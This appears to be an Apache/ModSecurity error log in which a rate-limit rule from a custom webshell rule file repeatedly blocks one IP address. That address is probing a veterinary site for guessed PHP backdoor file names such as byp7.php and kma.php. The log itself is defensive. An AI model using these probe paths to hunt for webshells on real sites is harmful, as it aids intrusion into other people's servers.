[Sat Feb 28 07:17:25.220722 2026] [:error] [pid 39185:tid 39263] [client 20.151.113.230:41329] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/key.php"] [unique_id "aaImBRVE-FfM89u7BQZd3QAAAJE"]
[Sat Feb 28 07:17:25.634250 2026] [:error] [pid 11791:tid 11806] [client 20.151.113.230:48753] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/key.php"] [unique_id "aaImBWuX5e1Q32gqxH3AUwAAAQ0"]
[Sat Feb 28 07:17:26.051036 2026] [:error] [pid 11791:tid 11802] [client 20.151.113.230:41284] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/key.php"] [unique_id "aaImBmuX5e1Q32gqxH3AVgAAAQk"]
[Sat Feb 28 07:17:26.488060 2026] [:error] [pid 39184:tid 39236] [client 20.151.113.230:61946] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/key.php"] [unique_id "aaImBltZF9Zd_U7easBIigAAAFE"]
[Sat Feb 28 07:17:26.904766 2026] [:error] [pid 39183:tid 39200] [client 20.151.113.230:49313] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/667.php"] [unique_id "aaImBhCf4HvhVePw3LZ41QAAAAg"]
[Sat Feb 28 07:17:27.334919 2026] [:error] [pid 39183:tid 39204] [client 20.151.113.230:60970] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/667.php"] [unique_id "aaImBxCf4HvhVePw3LZ42wAAAAw"]
[Sat Feb 28 07:17:27.756158 2026] [:error] [pid 39184:tid 39240] [client 20.151.113.230:41323] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/667.php"] [unique_id "aaImB1tZF9Zd_U7easBIjAAAAFU"]
[Sat Feb 28 07:17:28.175859 2026] [:error] [pid 39292:tid 39307] [client 20.151.113.230:40148] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/667.php"] [unique_id "aaImCKIAO5fN7BxyqcGVKgAAAM0"]
[Sat Feb 28 07:17:28.597992 2026] [:error] [pid 11791:tid 11817] [client 20.151.113.230:48742] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctfbe.php"] [unique_id "aaImCGuX5e1Q32gqxH3AfwAAARg"]
[Sat Feb 28 07:17:29.011675 2026] [:error] [pid 39292:tid 39304] [client 20.151.113.230:61906] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctfbe.php"] [unique_id "aaImCaIAO5fN7BxyqcGVMwAAAMo"]
[Sat Feb 28 07:17:29.433611 2026] [:error] [pid 39292:tid 39309] [client 20.151.113.230:41320] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctfbe.php"] [unique_id "aaImCaIAO5fN7BxyqcGVNwAAAM8"]
[Sat Feb 28 07:17:29.857102 2026] [:error] [pid 22194:tid 22203] [client 20.151.113.230:49307] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctfbe.php"] [unique_id "aaImCX6mbajs3bzQGysfmQAAAUc"]
[Sat Feb 28 07:17:30.272839 2026] [:error] [pid 39292:tid 39310] [client 20.151.113.230:48749] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hkweu.php"] [unique_id "aaImCqIAO5fN7BxyqcGVRgAAANA"]
[Sat Feb 28 07:17:30.684240 2026] [:error] [pid 39292:tid 39300] [client 20.151.113.230:41310] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hkweu.php"] [unique_id "aaImCqIAO5fN7BxyqcGVTQAAAMY"]
[Sat Feb 28 07:17:31.099066 2026] [:error] [pid 39185:tid 39252] [client 20.151.113.230:64881] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hkweu.php"] [unique_id "aaImCxVE-FfM89u7BQZeBAAAAIY"]
[Sat Feb 28 07:17:31.510508 2026] [:error] [pid 39185:tid 39263] [client 20.151.113.230:49340] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hkweu.php"] [unique_id "aaImCxVE-FfM89u7BQZeCgAAAJE"]
[Sat Feb 28 07:17:31.926967 2026] [:error] [pid 22194:tid 22214] [client 20.151.113.230:40145] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qdlte.php"] [unique_id "aaImC36mbajs3bzQGysfnwAAAVI"]
[Sat Feb 28 07:17:32.346963 2026] [:error] [pid 39185:tid 39248] [client 20.151.113.230:48740] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qdlte.php"] [unique_id "aaImDBVE-FfM89u7BQZeGAAAAII"]
[Sat Feb 28 07:17:32.765195 2026] [:error] [pid 39292:tid 39305] [client 20.151.113.230:64836] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qdlte.php"] [unique_id "aaImDKIAO5fN7BxyqcGVaQAAAMs"]
[Sat Feb 28 07:17:33.186754 2026] [:error] [pid 39292:tid 39297] [client 20.151.113.230:48734] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qdlte.php"] [unique_id "aaImDaIAO5fN7BxyqcGVbwAAAMM"]
[Sat Feb 28 07:17:33.603675 2026] [:error] [pid 22194:tid 22213] [client 20.151.113.230:60975] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f7.php"] [unique_id "aaImDX6mbajs3bzQGysfpQAAAVE"]
[Sat Feb 28 07:17:34.018315 2026] [:error] [pid 39184:tid 39238] [client 20.151.113.230:64849] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f7.php"] [unique_id "aaImDltZF9Zd_U7easBIkwAAAFM"]
[Sat Feb 28 07:17:34.433204 2026] [:error] [pid 22194:tid 22215] [client 20.151.113.230:47504] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f7.php"] [unique_id "aaImDn6mbajs3bzQGysfqgAAAVM"]
[Sat Feb 28 07:17:34.851019 2026] [:error] [pid 39185:tid 39255] [client 20.151.113.230:49288] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f7.php"] [unique_id "aaImDhVE-FfM89u7BQZeLwAAAIk"]
[Sat Feb 28 07:17:35.266841 2026] [:error] [pid 11791:tid 11794] [client 20.151.113.230:41299] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an7.php"] [unique_id "aaImD2uX5e1Q32gqxH3AhwAAAQE"]
[Sat Feb 28 07:17:35.682326 2026] [:error] [pid 39183:tid 39202] [client 20.151.113.230:41300] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an7.php"] [unique_id "aaImDxCf4HvhVePw3LZ49AAAAAo"]
[Sat Feb 28 07:17:36.104125 2026] [:error] [pid 22194:tid 22197] [client 20.151.113.230:47499] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an7.php"] [unique_id "aaImEH6mbajs3bzQGysfrwAAAUE"]
[Sat Feb 28 07:17:36.516623 2026] [:error] [pid 22194:tid 22218] [client 20.151.113.230:48713] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an7.php"] [unique_id "aaImEH6mbajs3bzQGysfsgAAAVY"]
[Sat Feb 28 07:17:36.929181 2026] [:error] [pid 22194:tid 22213] [client 20.151.113.230:56294] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp7.php"] [unique_id "aaImEH6mbajs3bzQGysftgAAAVE"]
[Sat Feb 28 07:17:37.344029 2026] [:error] [pid 22194:tid 22198] [client 20.151.113.230:49318] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp7.php"] [unique_id "aaImEX6mbajs3bzQGysfuwAAAUI"]
[Sat Feb 28 07:17:37.758258 2026] [:error] [pid 39292:tid 39302] [client 20.151.113.230:41300] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp7.php"] [unique_id "aaImEaIAO5fN7BxyqcGVfgAAAMg"]
[Sat Feb 28 07:17:38.173652 2026] [:error] [pid 11791:tid 11796] [client 20.151.113.230:48706] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp7.php"] [unique_id "aaImEmuX5e1Q32gqxH3AkwAAAQM"]
[Sat Feb 28 07:17:38.588603 2026] [:error] [pid 11791:tid 11807] [client 20.151.113.230:40153] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/C1.php"] [unique_id "aaImEmuX5e1Q32gqxH3AlwAAAQ4"]
[Sat Feb 28 07:17:39.000621 2026] [:error] [pid 39292:tid 39318] [client 20.151.113.230:47495] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/C1.php"] [unique_id "aaImEqIAO5fN7BxyqcGVgQAAANg"]
[Sat Feb 28 07:17:39.415041 2026] [:error] [pid 39185:tid 39249] [client 20.151.113.230:64851] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/C1.php"] [unique_id "aaImExVE-FfM89u7BQZeNwAAAIM"]
[Sat Feb 28 07:17:39.826341 2026] [:error] [pid 22194:tid 22213] [client 20.151.113.230:40147] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/C1.php"] [unique_id "aaImE36mbajs3bzQGysfxAAAAVE"]
[Sat Feb 28 07:17:40.237118 2026] [:error] [pid 22194:tid 22205] [client 20.151.113.230:64880] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clcdu.php"] [unique_id "aaImFH6mbajs3bzQGysfxgAAAUk"]
[Sat Feb 28 07:17:40.648657 2026] [:error] [pid 39292:tid 39312] [client 20.151.113.230:42424] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clcdu.php"] [unique_id "aaImFKIAO5fN7BxyqcGVhAAAANI"]
[Sat Feb 28 07:17:41.057948 2026] [:error] [pid 39183:tid 39207] [client 20.151.113.230:41300] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clcdu.php"] [unique_id "aaImFRCf4HvhVePw3LZ49wAAAA8"]
[Sat Feb 28 07:17:41.475180 2026] [:error] [pid 39292:tid 39315] [client 20.151.113.230:40157] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clcdu.php"] [unique_id "aaImFaIAO5fN7BxyqcGViQAAANU"]
[Sat Feb 28 07:17:41.897799 2026] [:error] [pid 39183:tid 39215] [client 20.151.113.230:40175] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ffbsq.php"] [unique_id "aaImFRCf4HvhVePw3LZ4-QAAABc"]
[Sat Feb 28 07:17:42.313748 2026] [:error] [pid 11791:tid 11796] [client 20.151.113.230:48764] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ffbsq.php"] [unique_id "aaImFmuX5e1Q32gqxH3ApgAAAQM"]
[Sat Feb 28 07:17:42.731080 2026] [:error] [pid 11791:tid 11794] [client 20.151.113.230:61945] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ffbsq.php"] [unique_id "aaImFmuX5e1Q32gqxH3ApwAAAQE"]
[Sat Feb 28 07:17:43.142644 2026] [:error] [pid 22194:tid 22212] [client 20.151.113.230:47512] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ffbsq.php"] [unique_id "aaImF36mbajs3bzQGysfzwAAAVA"]
[Sat Feb 28 07:17:43.556351 2026] [:error] [pid 22194:tid 22197] [client 20.151.113.230:49336] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/resp.php"] [unique_id "aaImF36mbajs3bzQGysf0QAAAUE"]
[Sat Feb 28 07:17:43.968922 2026] [:error] [pid 22194:tid 22208] [client 20.151.113.230:48736] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/resp.php"] [unique_id "aaImF36mbajs3bzQGysf1AAAAUw"]
[Sat Feb 28 07:17:44.380930 2026] [:error] [pid 22194:tid 22196] [client 20.151.113.230:64842] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/resp.php"] [unique_id "aaImGH6mbajs3bzQGysf2QAAAUA"]
[Sat Feb 28 07:17:44.796080 2026] [:error] [pid 39185:tid 39260] [client 20.151.113.230:61900] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/resp.php"] [unique_id "aaImGBVE-FfM89u7BQZeQAAAAI4"]
[Sat Feb 28 07:17:45.213479 2026] [:error] [pid 39183:tid 39210] [client 20.151.113.230:40150] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aaImGRCf4HvhVePw3LZ4-wAAABI"]
[Sat Feb 28 07:17:45.623810 2026] [:error] [pid 11791:tid 11793] [client 20.151.113.230:56260] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aaImGWuX5e1Q32gqxH3ArAAAAQA"]
[Sat Feb 28 07:17:46.035586 2026] [:error] [pid 11791:tid 11805] [client 20.151.113.230:48744] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aaImGmuX5e1Q32gqxH3ArQAAAQw"]
[Sat Feb 28 07:17:46.445808 2026] [:error] [pid 11791:tid 11799] [client 20.151.113.230:41340] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aaImGmuX5e1Q32gqxH3AsgAAAQY"]
[Sat Feb 28 07:17:46.860108 2026] [:error] [pid 39183:tid 39198] [client 20.151.113.230:64867] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaImGhCf4HvhVePw3LZ4_AAAAAY"]
[Sat Feb 28 07:17:47.284205 2026] [:error] [pid 22194:tid 22214] [client 20.151.113.230:64890] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaImG36mbajs3bzQGysf5QAAAVI"]
[Sat Feb 28 07:17:47.720467 2026] [:error] [pid 39184:tid 39225] [client 20.151.113.230:41317] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaImG1tZF9Zd_U7easBIoQAAAEY"]
[Sat Feb 28 07:17:48.140201 2026] [:error] [pid 11791:tid 11815] [client 20.151.113.230:48720] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaImHGuX5e1Q32gqxH3AswAAARY"]
[Sat Feb 28 07:17:48.550664 2026] [:error] [pid 22194:tid 22199] [client 20.151.113.230:47526] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kma.php"] [unique_id "aaImHH6mbajs3bzQGysf7gAAAUM"]
